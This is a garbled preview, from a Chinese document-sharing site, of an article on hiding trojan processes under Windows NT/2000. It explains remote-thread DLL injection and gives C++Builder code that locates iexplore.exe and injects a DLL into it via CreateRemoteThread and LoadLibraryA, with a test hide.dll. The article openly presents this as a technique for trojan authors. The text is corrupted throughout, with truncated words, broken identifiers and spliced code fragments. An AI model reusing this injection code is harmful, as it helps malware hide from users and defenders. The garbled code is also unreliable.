资源描述:
《windows nt-2000系统下进程的隐藏》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、WindowsNT/2000系统下进程的隐藏摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。关键字进程线程木马动态链接库木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。本文分析了emory()函数将待隐藏的DLL的路径名。4)拷贝到步骤二已经分配的内存中。5)用GetProcAddress()函数获取LoadlibraryA()函数
2、的实地址(在kernel32.dll中)。6)用CreateRemoteThread()函数在远程进程中创建一个线程。7)它调用正确的LoadlibraryA()函数。8)为它传递步骤二中分配的内存地址。4具体实例下面是在C++Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码:#include<vcl.h>#include<ahdrstop#include"Unit1.h"#pragmapackage(smart_init)#pragmaresource"*.dfm"InsistingpszLibFileN
3、ame;//存放待隐藏的DLL文件名HANDLEhProcessSnap=NULL;//进程快照句柄HANDLEhRemoteProcess;//远程进程句柄LPVOIDpszLibFileRemote;//远程进程中分配给文件名的空间HMODULEphmd;//存放kernel32.dll句柄HANDLEhRemoteThread1=NULL;//存放远程线程句柄TForm1*Form1;//---------------------------------------------------------__fastcallTForm1::
4、TForm1(Tponent*O(O1::Button1Click(TObject*Sender){PROCESSENTRY32pe32={0};DessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);exit(0);}//失败返回pe32.dp;pe32))//获取第一个进程{do{AnsiStringte;te=pe32.szExeFile;if(te.Pos("iexplore.exe")
5、
6、te.Pos("IEXPLORE.EXE"))//找到宿主进程,以IEXPLORE.
7、EXE为例{doteProcessId=pe32.th32ProcessID;break;}}p;pe32));//获取下一个进程}else{MessageBox(NULL,"取第一个进程失败","",MB_OK);exit(0);}hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD
8、PROCESS_VM_OPERATION
9、PROCESS_VM_EM_MIT,PAGE_READemory(hRemoteProcess,pszLibFileRemote,(LPVOID)pszLibFileName
10、.c_str(),cb,NULL);//把dll文件名写入申请的空间phmd=GetModuleHandle("kernel32.dll");LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)GetProcAddress(phmd,"LoadLibraryA");//获取动态链接库函数地址hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);//
11、创建远程线程if(hRemoteThread1!=NULL)CloseHandle(hRemoteThread1);//关闭远程线程if(hProcessSnap!=NULL)CloseHandle(hProcessSnap);//关闭进程快照} 该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:#include<vcl.h>#include&
12、lt;ahdrstop#pragmaargsusedBOOLB_OK);break;}default:}returnTRUE;} 当使用RmtDll.exe程序将